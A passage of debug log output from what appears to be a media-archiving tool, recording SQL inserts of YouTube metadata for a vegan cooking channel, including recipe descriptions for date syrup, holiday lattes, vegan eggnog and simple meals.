in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n0:00 - Intro\n1:37 - Health Benefits of Dates\n2:33 - How to Make Date Syrup\n8:00 - How to Make Date Paste", "How to make date syrup and date paste // No-sugar natural sweetener alternative", "c2bdbfd4-4490-4e5a-bdf7-7dcd78ede172", 1, [], false, "WoHI7Y7JhQs", "https://www.youtube.com/watch?v=WoHI7Y7JhQs", 330, "/downloads/downloads/alec/Steamy Vegan/2023-01-14 How to make date syrup and date paste ⧸⧸ No-sugar natural sweetener alternative/How to make date syrup and date paste ⧸⧸ No-sugar natural sweetener alternative [WoHI7Y7JhQs].NA", false, false, false, 1, ~U[2023-01-14 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "If you’re looking for a natural, healthy, and whole foods alternative to sugar, I gotchu covered! In this video we are going to make Date Paste and Date Syrup, a couple great natural sweeteners, especially if you’re wanting to reduce your intake of added processed sugars. Date Paste is great to use in many kinds of baked goods as its super sweet and slightly caramel-like in flavour, plus it’s quite sticky which makes it a good binder. Date Syrup on the other hand is great as a liquid sweetener for your morning coffee or tea, and to add to sauces. \n\nFULL RECIPES ON MY BLOG: https://steamyvegan.com/date-syrup-da...\n\nHealth Benefits of dates\n1. Good for heart health as it may help regulate blood pressure\n2. Good for your eyes — high in Vitamin A (beta carotene) which is essential for overall eye health\n3. High in fibre which can help decrease cholesterol and high blood pressure, as well as blood sugar control. Have a low glycemic index.\n4. Great source of natural sugar, makes for great healthy energy boosting snacking. A much better option than reaching for candy when you want something sweet as the fibre in them will keep you fuller for longer \n5. Packed full of vitamins and minerals — potassium, manganese, copper, iron, vitamin B6\n\n\nHOW TO USE DATE SYRUP -- use as a liquid sweetener for coffee, tea, smoothies and cooking sauces. Great in baking, too!\nHOW TO USE DATE PASTE -- add to oatmeals, smoothies, baked goods (dough, batters) or simply use as a delicious sweet spread!\n\n\nWHAT I EAT AS A VEGAN PLAYLIST! ⬇️\n\u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nREVIEWS AND TASTE TESTS PLAYLIST! ⬇️\n\u00A0\u00A0\u00A0•\u00A0REVIEWS\u00A0AND\u00A0TASTE\u00A0TESTS\u00A0🤔\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n0:00 - Intro\n1:37 - Health Benefits of Dates\n2:33 - How to Make Date Syrup\n8:00 - How to Make Date Paste", "How to make date syrup and date paste // No-sugar natural sweetener alternative", 1, nil, false, "WoHI7Y7JhQs", "https://www.youtube.com/watch?v=WoHI7Y7JhQs", "/downloads/downloads/alec/Steamy Vegan/2023-01-14 How to make date syrup and date paste ⧸⧸ No-sugar natural sweetener alternative/How to make date syrup and date paste ⧸⧸ No-sugar natural sweetener alternative [WoHI7Y7JhQs].NA", false, ~U[2023-01-14 00:00:00Z]] 20:31:08.480 [debug] QUERY OK source="sources" db=1.7ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.482 [debug] QUERY OK source="media_items" db=2.4ms idle=7.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-16 00:00:00Z], 1] 20:31:08.485 [debug] QUERY OK source="media_items" db=1.8ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Do you live for hot and cozy drinks in the winter? Let's make these YUMMY Cozy Holiday Lattes together! They're vegan, gluten-free, dairy-free and use only a handful of easy ingredients that you probably already have. No crazy or weird ingredients here!\n\nWhich is your pick: Dark Chocolate Orange 🍊🍫 or Gingerbread? Let us know in a comment!\n\nDARK CHOCOLATE ORANGE LATTE - \n1 cup soy milk\n1/4 cup dark chocolate (choc chips or from your fave bar)\nPeel of 1/2 small orange (just the outer orange zest, no white pith)\n2 tbsp orange juice\n1 tbsp cocoa powder\n1 tbsp coconut sugar\n1/2 tsp vanilla\nEspresso (or 1/2 cup strong brewed coffee)\n\nPour the soy milk into a small saucepan, followed by the orange juice, cocoa powder and coconut sugar. Heat on medium and whisk until no lumps of cocoa powder remain. Add the dark chocolate and orange peel and continue stirring until the chocolate has melted and the milk begins to get hot and steamy, about 7 minutes. Once the milk is hot, turn off the heat, stir in the vanilla and remove the orange zest. Remove from the heat and froth the milk for 20 seconds until foamy (optional). Into a mug, pour in your hot espresso or strong coffee, followed by the hot chocolatey milk and garnish with an orange wedge. Get cozy, sip and enjoy! \n\nGINGERBREAD LATTE - \n1 cup soy milk\n1 tbsp maple syrup\n1 tsp molasses\n1/4 tsp ginger\n1/4 tsp cinnamon\n1/8 tsp nutmeg\n1/8 tsp allspice\n1/2 tsp vanilla\nespresso or 1/2 cup strong coffee\n\nInto a small saucepan all add of the ingredients except the espresso. Heat on medium and whisk until all the spices are dissolved and no lumps remain. Warm until hot and steaming, then remove from the heat. Froth with a milk frother for 20 seconds until foamy (optional). Into a mug pour your espresso followed by the milk. Garnish with an extra sprinkle of cinnamon, get cozy and enjoy!\n\nEnjoy this video? Please give it a LIKE 👍🏻 and SUBSCRIBE to @steamyvegan!\n\nNeed more delicious holiday recipes? You might like these! ⬇️\nVEGAN EGGNOG: \u00A0\u00A0\u00A0•\u00A0How\u00A0To\u00A0Make\u00A0Vegan\u00A0Eggnog\u00A0❄️\u00A0Plus\u00A0BONUS\u00A0Veg...\u00A0\u00A0\nHOLIDAY COOKIES: \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Cookies\u00A0|\u00A0Vegan\u00A0&\u00A0glu...\u00A0\u00A0\nCOZY HOLIDAY OATMEAL: \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Oatmeal\u00A0|\u00A0Vegan\u00A0&\u00A0Glu...\u00A0\u00A0\n\n0:00 - Intro\n0:45 - Dark Chocolate Orange Latte\n3:24 - Gingerbread Latte\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "2 Cozy Holiday Latte Recipes | EASY, Dairy-Free and Delicious!", "8035c9d8-ee0e-49de-9d0c-5fe2a83067aa", 1, [], false, "QgcCq0Hgngc", "https://www.youtube.com/watch?v=QgcCq0Hgngc", 331, "/downloads/downloads/alec/Steamy Vegan/2022-12-16 2 Cozy Holiday Latte Recipes | EASY, Dairy-Free and Delicious!/2 Cozy Holiday Latte Recipes | EASY, Dairy-Free and Delicious! [QgcCq0Hgngc].NA", false, false, false, 1, ~U[2022-12-16 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Do you live for hot and cozy drinks in the winter? Let's make these YUMMY Cozy Holiday Lattes together! They're vegan, gluten-free, dairy-free and use only a handful of easy ingredients that you probably already have. No crazy or weird ingredients here!\n\nWhich is your pick: Dark Chocolate Orange 🍊🍫 or Gingerbread? Let us know in a comment!\n\nDARK CHOCOLATE ORANGE LATTE - \n1 cup soy milk\n1/4 cup dark chocolate (choc chips or from your fave bar)\nPeel of 1/2 small orange (just the outer orange zest, no white pith)\n2 tbsp orange juice\n1 tbsp cocoa powder\n1 tbsp coconut sugar\n1/2 tsp vanilla\nEspresso (or 1/2 cup strong brewed coffee)\n\nPour the soy milk into a small saucepan, followed by the orange juice, cocoa powder and coconut sugar. Heat on medium and whisk until no lumps of cocoa powder remain. Add the dark chocolate and orange peel and continue stirring until the chocolate has melted and the milk begins to get hot and steamy, about 7 minutes. Once the milk is hot, turn off the heat, stir in the vanilla and remove the orange zest. Remove from the heat and froth the milk for 20 seconds until foamy (optional). Into a mug, pour in your hot espresso or strong coffee, followed by the hot chocolatey milk and garnish with an orange wedge. Get cozy, sip and enjoy! \n\nGINGERBREAD LATTE - \n1 cup soy milk\n1 tbsp maple syrup\n1 tsp molasses\n1/4 tsp ginger\n1/4 tsp cinnamon\n1/8 tsp nutmeg\n1/8 tsp allspice\n1/2 tsp vanilla\nespresso or 1/2 cup strong coffee\n\nInto a small saucepan all add of the ingredients except the espresso. Heat on medium and whisk until all the spices are dissolved and no lumps remain. Warm until hot and steaming, then remove from the heat. Froth with a milk frother for 20 seconds until foamy (optional). Into a mug pour your espresso followed by the milk. Garnish with an extra sprinkle of cinnamon, get cozy and enjoy!\n\nEnjoy this video? Please give it a LIKE 👍🏻 and SUBSCRIBE to @steamyvegan!\n\nNeed more delicious holiday recipes? You might like these! ⬇️\nVEGAN EGGNOG: \u00A0\u00A0\u00A0•\u00A0How\u00A0To\u00A0Make\u00A0Vegan\u00A0Eggnog\u00A0❄️\u00A0Plus\u00A0BONUS\u00A0Veg...\u00A0\u00A0\nHOLIDAY COOKIES: \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Cookies\u00A0|\u00A0Vegan\u00A0&\u00A0glu...\u00A0\u00A0\nCOZY HOLIDAY OATMEAL: \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Oatmeal\u00A0|\u00A0Vegan\u00A0&\u00A0Glu...\u00A0\u00A0\n\n0:00 - Intro\n0:45 - Dark Chocolate Orange Latte\n3:24 - Gingerbread Latte\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "2 Cozy Holiday Latte Recipes | EASY, Dairy-Free and Delicious!", 1, nil, false, "QgcCq0Hgngc", "https://www.youtube.com/watch?v=QgcCq0Hgngc", "/downloads/downloads/alec/Steamy Vegan/2022-12-16 2 Cozy Holiday Latte Recipes | EASY, Dairy-Free and Delicious!/2 Cozy Holiday Latte Recipes | EASY, Dairy-Free and Delicious! [QgcCq0Hgngc].NA", false, ~U[2022-12-16 00:00:00Z]] 20:31:08.486 [debug] QUERY OK source="sources" db=1.1ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.491 [debug] QUERY OK source="media_items" db=3.9ms idle=10.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-09 00:00:00Z], 1] 20:31:08.494 [debug] QUERY OK source="media_items" db=1.5ms idle=11.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Love eggnog, hate dairy? In this video I’m showing you how to make Vegan Eggnog that is EASY and DELICIOUS! You will fool any dairy-lover with this insanely simple recipe. It’s rich, creamy and perfectly sweetened with dates. Made with mostly whole foods, this Vegan Eggnog has no weird or obscure ingredients — just simple items you already have in your pantry!\n\nPLUS as a bonus I’ll show you how to whip up this eggnog into a delicious cozy latte! Perfect for those chilly winter afternoons. ❄️\n\nNeed a holiday treat to go with your eggnog? Watch my EASY HOLIDAY COOKIES video ⬇️\n\u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Cookies\u00A0|\u00A0Vegan\u00A0&\u00A0glu...\u00A0\u00A0\n\nEnjoy this video? Please give it a LIKE 👍🏻 and SUBSCRIBE to \u202A@steamyvegan\u202C !\n\nVEGAN EGGNOG RECIPE - Yield: Almost 2 cups\n1.5 cups soy milk (oat, cashew or almond works too)\n1/4 cup canned coconut milk\n2 tbsp raw cashews, soaked 15 mins in hot water\n3 medjool dates, pitted and soaked 15 mins in hot water\n1/4 tsp cinnamon\n1/8 nutmeg\n1/2 tsp vanilla extract\nPinch of salt\nIn a small bowl add the cashews and dates and pour boiling hot water over them until submerged -- soak 15 mins. Add them to a blender along with all remaining ingredients and blend on high speed for 30-60 seconds, until the cashews and dates are completely liquified.\nPour into a glass jar and chill in the fridge for 2 hours. Enjoy!\n\nEGGNOG LATTE\nAdd 1-2 cups of vegan eggnog into a small saucepan (depending on how many lattes you're making) and bring to a simmer on medium-low heat. Stir whisk frequently to prevent burning. Once steaming, turn off the heat and froth the eggnog until foamy (optional). Pour into a mug over 1-2 shots of espresso (or 1/2 cup strong brewed coffee), garnish with additional cinnamon, and enjoy! ☕️\n\nIntro - 0:00\nHow to Make Vegan Eggnog - 0:42\nHow to Make a Vegan Eggnog Latte - 3:38\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "How To Make Vegan Eggnog ❄️ Plus BONUS Vegan Eggnog Latte Recipe!", "45406378-c877-4d8a-9b58-31210c990936", 1, [], false, "S_py-oj4_tg", "https://www.youtube.com/watch?v=S_py-oj4_tg", 332, "/downloads/downloads/alec/Steamy Vegan/2022-12-09 How To Make Vegan Eggnog ❄️ Plus BONUS Vegan Eggnog Latte Recipe!/How To Make Vegan Eggnog ❄️ Plus BONUS Vegan Eggnog Latte Recipe! [S_py-oj4_tg].NA", false, false, false, 1, ~U[2022-12-09 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Love eggnog, hate dairy? In this video I’m showing you how to make Vegan Eggnog that is EASY and DELICIOUS! You will fool any dairy-lover with this insanely simple recipe. It’s rich, creamy and perfectly sweetened with dates. Made with mostly whole foods, this Vegan Eggnog has no weird or obscure ingredients — just simple items you already have in your pantry!\n\nPLUS as a bonus I’ll show you how to whip up this eggnog into a delicious cozy latte! Perfect for those chilly winter afternoons. ❄️\n\nNeed a holiday treat to go with your eggnog? Watch my EASY HOLIDAY COOKIES video ⬇️\n\u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Cookies\u00A0|\u00A0Vegan\u00A0&\u00A0glu...\u00A0\u00A0\n\nEnjoy this video? Please give it a LIKE 👍🏻 and SUBSCRIBE to \u202A@steamyvegan\u202C !\n\nVEGAN EGGNOG RECIPE - Yield: Almost 2 cups\n1.5 cups soy milk (oat, cashew or almond works too)\n1/4 cup canned coconut milk\n2 tbsp raw cashews, soaked 15 mins in hot water\n3 medjool dates, pitted and soaked 15 mins in hot water\n1/4 tsp cinnamon\n1/8 nutmeg\n1/2 tsp vanilla extract\nPinch of salt\nIn a small bowl add the cashews and dates and pour boiling hot water over them until submerged -- soak 15 mins. Add them to a blender along with all remaining ingredients and blend on high speed for 30-60 seconds, until the cashews and dates are completely liquified.\nPour into a glass jar and chill in the fridge for 2 hours. Enjoy!\n\nEGGNOG LATTE\nAdd 1-2 cups of vegan eggnog into a small saucepan (depending on how many lattes you're making) and bring to a simmer on medium-low heat. Stir whisk frequently to prevent burning. Once steaming, turn off the heat and froth the eggnog until foamy (optional). Pour into a mug over 1-2 shots of espresso (or 1/2 cup strong brewed coffee), garnish with additional cinnamon, and enjoy! ☕️\n\nIntro - 0:00\nHow to Make Vegan Eggnog - 0:42\nHow to Make a Vegan Eggnog Latte - 3:38\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "How To Make Vegan Eggnog ❄️ Plus BONUS Vegan Eggnog Latte Recipe!", 1, nil, false, "S_py-oj4_tg", "https://www.youtube.com/watch?v=S_py-oj4_tg", "/downloads/downloads/alec/Steamy Vegan/2022-12-09 How To Make Vegan Eggnog ❄️ Plus BONUS Vegan Eggnog Latte Recipe!/How To Make Vegan Eggnog ❄️ Plus BONUS Vegan Eggnog Latte Recipe! [S_py-oj4_tg].NA", false, ~U[2022-12-09 00:00:00Z]] 20:31:08.496 [debug] QUERY OK source="sources" db=1.8ms idle=11.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.498 [debug] QUERY OK source="media_items" db=2.3ms idle=11.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-04 00:00:00Z], 1] 20:31:08.501 [debug] QUERY OK source="media_items" db=1.9ms idle=12.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Ever wondered what vegans eat in real life? Here is a real and unpolished look into what I eat over a few normal, busy days as a vegan. Repurposing leftovers and some lazy meals that are nutritious, filling and yummy.\n\nRECIPES MENTIONED IN THIS VIDEO:\n\nTofu and Veggie Scramble:\n1 block extra firm tofu\nAbout 4 cups of chopped veggies (bell pepper, mushrooms, green onion)\nTurmeric, 1/2 tsp\nBlack salt 3/4 tsp\n\nIn a large saucepan heat water or oil. Crumble tofu into a hot pan and add black salt and turmeric, cooking 5-6 minutes until golden. Add veggies and any seasonings you like, cooking on medium-high heat for 5-6 more minutes, stirring occasionally, until veggies are cooked.\n\nChickpea Veggie Salad:\n1 can chickpeas, drained and rinsed\n1 red bell pepper, finely chopped\n1 celery stalk, finely chopped\n4-5 green onions, finely chopped\nFresh parsley, chopped\n2 tbsp vegna mayo\n1/2 tsp cumin\n1/4 cayenne pepper\n1/2 tsp garlic powder\n1/2 tsp onion powder\n\nCombine all ingredients in a large bowl and mix until well incorporated. Chill in the fridge for 30 minutes prior to eating (or enjoy right away).\n\nCheck out more 'what I eat in a day' videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! www.igworks.com \n\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by Mr. Jello - Bright & Early - https://thmatc.co/?l=D1F22B04", "Vegan What I Eat In a Day | 2 days of simple, delicious vegan meals", "7ddb4f79-8938-468c-bde8-392cd341c390", 1, [], false, "gyGR4zhv4II", "https://www.youtube.com/watch?v=gyGR4zhv4II", 333, "/downloads/downloads/alec/Steamy Vegan/2022-12-04 Vegan What I Eat In a Day | 2 days of simple, delicious vegan meals/Vegan What I Eat In a Day | 2 days of simple, delicious vegan meals [gyGR4zhv4II].NA", false, false, false, 1, ~U[2022-12-04 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Ever wondered what vegans eat in real life? Here is a real and unpolished look into what I eat over a few normal, busy days as a vegan. Repurposing leftovers and some lazy meals that are nutritious, filling and yummy.\n\nRECIPES MENTIONED IN THIS VIDEO:\n\nTofu and Veggie Scramble:\n1 block extra firm tofu\nAbout 4 cups of chopped veggies (bell pepper, mushrooms, green onion)\nTurmeric, 1/2 tsp\nBlack salt 3/4 tsp\n\nIn a large saucepan heat water or oil. Crumble tofu into a hot pan and add black salt and turmeric, cooking 5-6 minutes until golden. Add veggies and any seasonings you like, cooking on medium-high heat for 5-6 more minutes, stirring occasionally, until veggies are cooked.\n\nChickpea Veggie Salad:\n1 can chickpeas, drained and rinsed\n1 red bell pepper, finely chopped\n1 celery stalk, finely chopped\n4-5 green onions, finely chopped\nFresh parsley, chopped\n2 tbsp vegna mayo\n1/2 tsp cumin\n1/4 cayenne pepper\n1/2 tsp garlic powder\n1/2 tsp onion powder\n\nCombine all ingredients in a large bowl and mix until well incorporated. Chill in the fridge for 30 minutes prior to eating (or enjoy right away).\n\nCheck out more 'what I eat in a day' videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! www.igworks.com \n\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by Mr. Jello - Bright & Early - https://thmatc.co/?l=D1F22B04", "Vegan What I Eat In a Day | 2 days of simple, delicious vegan meals", 1, nil, false, "gyGR4zhv4II", "https://www.youtube.com/watch?v=gyGR4zhv4II", "/downloads/downloads/alec/Steamy Vegan/2022-12-04 Vegan What I Eat In a Day | 2 days of simple, delicious vegan meals/Vegan What I Eat In a Day | 2 days of simple, delicious vegan meals [gyGR4zhv4II].NA", false, ~U[2022-12-04 00:00:00Z]] 20:31:08.502 [debug] QUERY OK source="sources" db=0.6ms idle=10.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.504 [debug] QUERY OK source="media_items" db=2.0ms idle=9.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-30 00:00:00Z], 1] 20:31:08.506 [debug] QUERY OK source="media_items" db=1.3ms idle=8.6ms INSERT INTO "media_items" AS m0 